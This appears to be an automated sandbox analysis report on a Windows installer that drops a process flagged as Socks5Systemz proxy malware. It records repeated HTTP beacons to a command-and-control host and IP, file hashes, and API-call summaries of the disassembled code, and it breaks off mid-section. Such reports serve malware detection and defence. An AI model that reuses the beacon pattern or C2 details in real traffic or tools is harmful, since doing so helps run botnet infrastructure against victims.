Sep 15, 2024 13:56:59.665563107 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49806	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:59.793934107 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:57:00.484935999 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:57:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49807	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:57:00.609174013 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:57:01.307682991 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:57:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49808	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:57:01.439431906 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:57:02.154284954 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:57:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49809	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:57:02.413309097 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:57:03.097340107 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:57:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49810	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:57:03.246504068 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:57:03.934073925 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:57:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49811	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:57:04.060467005 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:57:04.745443106 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:57:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Target ID:	0
Start time:	07:54:59
Start date:	15/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	3'466'709 bytes
MD5 hash:	16C1B3C872A490D259D8CCCA7CEDAD11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	07:54:59
Start date:	15/09/2024
Path:	C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp" /SL5="$20428,3195553,56832,C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	707'072 bytes
MD5 hash:	FAC4C28483FA3BE6BBCBB9544E768C0B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	07:55:00
Start date:	15/09/2024
Path:	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe" -i
Imagebase:	0x400000
File size:	2'674'102 bytes
MD5 hash:	EF7530E4B883531FD823363CAE0463A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000002.00000002.2929265237.0000000002712000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.4%
Total number of Nodes:	1521
Total number of Limit Nodes:	22

Executed Functions

Function 00409B78 Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 00409B8A
VirtualQuery.KERNEL32(00400000,?,0000001C,?), ref: 00409B95
VirtualProtect.KERNEL32(?,?,00000040,?,00400000,?,0000001C,?), ref: 00409BD6
VirtualProtect.KERNEL32(?,?,?,?,?,?,00000040,?,00400000,?,0000001C,?), ref: 00409C08
VirtualQuery.KERNEL32(?,?,0000001C,00400000,?,0000001C,?), ref: 00409C18

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Virtual$ProtectQuery$InfoSystem
String ID:
API String ID: 2441996862-0
Opcode ID: 69cc1b0b9b744b29044eea84e4744ba7a66f7205e02ae19cc0529fdcfa929845
Instruction ID: 4a1d84bb43d4a47cf168f169447d483ed62c711ee8ccb48f5bfbfd053dbeaed9
Opcode Fuzzy Hash: 69cc1b0b9b744b29044eea84e4744ba7a66f7205e02ae19cc0529fdcfa929845
Instruction Fuzzy Hash: D421A1B16043006BDA309AA99C85E57B7E8AF45360F144C2BFA99E72C3D239FC40C669

Function 0040520C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 08facca5f8c818d7ae0117448837c5e97f15c9e55cb3aedc2694e0bc5091a832
Instruction ID: 1248db9972fbf410c55bf070b604c98f5d62b90992f8f49b6b6440a9954d2c50
Opcode Fuzzy Hash: 08facca5f8c818d7ae0117448837c5e97f15c9e55cb3aedc2694e0bc5091a832
Instruction Fuzzy Hash: E2E0927170021427D710A9A99C86AEB725CEB58310F0002BFB904E73C6EDB49E804AED

Function 0040457C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 27
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040A618), ref: 00404582
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040458F
GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 004045A5
GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 004045BB
SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,0040A618), ref: 004045C6

Strings

SetSearchPathMode, xrefs: 0040459F
kernel32.dll, xrefs: 0040457D
SetDllDirectoryW, xrefs: 00404589
SetProcessDEPPolicy, xrefs: 004045B5

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$HandleModulePolicyProcess
String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
API String ID: 3256987805-3653653586
Opcode ID: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
Instruction ID: 1f393095ee8ecda9e1e01b6ca7d440447e938bbc9796bcd5dbe8d266940e5f64
Opcode Fuzzy Hash: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
Instruction Fuzzy Hash: 5FE02DD03813013AEA5032F20D83B2B20884AD0B49B2414377F25B61C3EDBDDA40587E

Function 0040AAB4 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32 ref: 0040AAC1

Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B244,?,021B1D64), ref: 0040966C

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040AAFE
SetWindowLongA.USER32(00020428,000000FC,00409960), ref: 0040AB15
RemoveDirectoryA.KERNEL32(00000000,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC01
DestroyWindow.USER32(00020428,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC15

Strings

InnoSetupLdrWindow, xrefs: 0040AAF2
/SL5="$%x,%d,%d,, xrefs: 0040AB55
STATIC, xrefs: 0040AAF7

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$ErrorLast$CreateDestroyDirectoryLongRemove
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 3757039580-3001827809
Opcode ID: 7bc9c0c8e9dfd2478b94306391eafe1fb51b7566d8199cdbb2b2653dcbc3d95c
Instruction ID: 81987b3bab642c92fe87a7372e0454594c4b8fe140ce311e0f93b1eeebf6ab37
Opcode Fuzzy Hash: 7bc9c0c8e9dfd2478b94306391eafe1fb51b7566d8199cdbb2b2653dcbc3d95c
Instruction Fuzzy Hash: 25412E70604204DBDB10EBA9EE89B9E37A5EB44304F10467FF510B72E2D7B89855CB9D

Function 004090A4 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,0040A62C), ref: 004090C4
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090CA
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,0040A62C), ref: 004090DE
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090E4

Strings

Wow64DisableWow64FsRedirection, xrefs: 004090BA
Wow64RevertWow64FsRedirection, xrefs: 004090D4
kernel32.dll, xrefs: 004090BF, 004090D9
shell32.dll, xrefs: 00409110

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: 0414f1d66f28dc470df4633e5994336701384173b3f6f66b470f3ad827f759f7
Instruction ID: 214dda5481ef482ebe311b1329301f35405b1013d97e3062c17ffb2c8286d57d
Opcode Fuzzy Hash: 0414f1d66f28dc470df4633e5994336701384173b3f6f66b470f3ad827f759f7
Instruction Fuzzy Hash: 21017C70748342AEFB00BB76DD4AB163A68E785704F60457BF640BA2D3DABD4C04D66E

Function 0040AAA2 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040AAFE
SetWindowLongA.USER32(00020428,000000FC,00409960), ref: 0040AB15

Part of subcall function 00406B7C: GetCommandLineA.KERNEL32(00000000,00406BC0,?,?,?,?,00000000,?,0040AB86,?), ref: 00406B94

Part of subcall function 004099EC: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,021B1D64,00409AD8,00000000,00409ABF), ref: 00409A5C
Part of subcall function 004099EC: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,021B1D64,00409AD8,00000000), ref: 00409A70
Part of subcall function 004099EC: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A89
Part of subcall function 004099EC: GetExitCodeProcess.KERNEL32(?,0040B244), ref: 00409A9B
Part of subcall function 004099EC: CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,021B1D64,00409AD8), ref: 00409AA4

RemoveDirectoryA.KERNEL32(00000000,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC01
DestroyWindow.USER32(00020428,0040AC54,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040AC15

Strings

InnoSetupLdrWindow, xrefs: 0040AAF2
/SL5="$%x,%d,%d,, xrefs: 0040AB55
STATIC, xrefs: 0040AAF7

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$CloseCreateHandleProcess$CodeCommandDestroyDirectoryExitLineLongMultipleObjectsRemoveWait
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 3586484885-3001827809
Opcode ID: c367800830601d7b7bb1e4b9cc729c69669d466ec6c890b8506752b9ad64910a
Instruction ID: d3376fcde1141b4290a3dca450fc2844fa47922897975e075ebf06e3b6db64eb
Opcode Fuzzy Hash: c367800830601d7b7bb1e4b9cc729c69669d466ec6c890b8506752b9ad64910a
Instruction Fuzzy Hash: 77411A71604204DFD714EBA9EE85B5A37B5EB48304F20427BF500BB2E1D7B8A855CB9D

Function 004099EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,021B1D64,00409AD8,00000000,00409ABF), ref: 00409A5C
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,021B1D64,00409AD8,00000000), ref: 00409A70
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A89
GetExitCodeProcess.KERNEL32(?,0040B244), ref: 00409A9B
CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409AE4,021B1D64,00409AD8), ref: 00409AA4

Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B244,?,021B1D64), ref: 0040966C

Strings

D, xrefs: 00409A36

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitLastMultipleObjectsWait
String ID: D
API String ID: 3356880605-2746444292
Opcode ID: aadf6f075de5bdb3c28d757ddccd10dd30f6bbfdbbad62eb54c24073370c977f
Instruction ID: b58d0f6e2b8975977e6c7b71aada5392bea55c03070ce9fad3dcef5aa6d4018a
Opcode Fuzzy Hash: aadf6f075de5bdb3c28d757ddccd10dd30f6bbfdbbad62eb54c24073370c977f
Instruction Fuzzy Hash: EE1142B16402486EDB00EBE6CC42F9EB7ACEF49714F50013BB604F72C6DA785D048A69

Function 00401918 Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
Instruction ID: 093a8b970c40f4dda7bd37408b901a2e20e4e29fb74a5496b56404d4d89a3717
Opcode Fuzzy Hash: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
Instruction Fuzzy Hash: CC0161B0684240DEE715ABA999E6B353AA4E786744F10427FF080F62F2C67C4450CB9D

Function 0040A814 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 0040A878

Strings

.tmp, xrefs: 0040A8BE
y@, xrefs: 0040A981

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message
String ID: .tmp$y@
API String ID: 2030045667-2396523267
Opcode ID: 55a53fbd7ad7285035f8ab2cde1915fb146aa3dc543cd9b52406218d685c1c98
Instruction ID: 5e9257013af3d55ef2b6e359c41f87f67318ae2a4e6dbf07461b5d8c6de74657
Opcode Fuzzy Hash: 55a53fbd7ad7285035f8ab2cde1915fb146aa3dc543cd9b52406218d685c1c98
Instruction Fuzzy Hash: 3B41C030704200CFD311EF25DED1A1A77A5EB49304B214A3AF804B73E1CAB9AC11CBAD

Function 0040A82F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 0040A878

Strings

.tmp, xrefs: 0040A8BE
y@, xrefs: 0040A981

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message
String ID: .tmp$y@
API String ID: 2030045667-2396523267
Opcode ID: 4e131503fe38447772e4e2294cf5373b7e2007f9fac8d76d0a71823c743fc64d
Instruction ID: 95bba075cf9db07042691c1556ef0613dbe482a65a3614fff4d0ead14828e6f7
Opcode Fuzzy Hash: 4e131503fe38447772e4e2294cf5373b7e2007f9fac8d76d0a71823c743fc64d
Instruction Fuzzy Hash: E341BE30700200DFC711EF65DED2A1A77A5EB49304B104A3AF804B73E2CAB9AC01CBAD

Function 00409330 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409376
GetLastError.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040937F

Strings

.tmp, xrefs: 0040935F

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 1c7982c9535877cc809d76a2290e1ec991a7408e90ad789d49a53b04ffd62ed2
Instruction ID: b240cf9bc22f775501a2d99da134be40bb2f76fb21a7d6e050461713caae6e8b
Opcode Fuzzy Hash: 1c7982c9535877cc809d76a2290e1ec991a7408e90ad789d49a53b04ffd62ed2
Instruction Fuzzy Hash: 9E216774A00208ABDB05EFA1C8429DFB7B8EF88304F50457BE901B73C2DA3C9E058A65

Function 00407749 Relevance: 3.3, APIs: 2, Instructions: 284
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF

Memory Dump Source

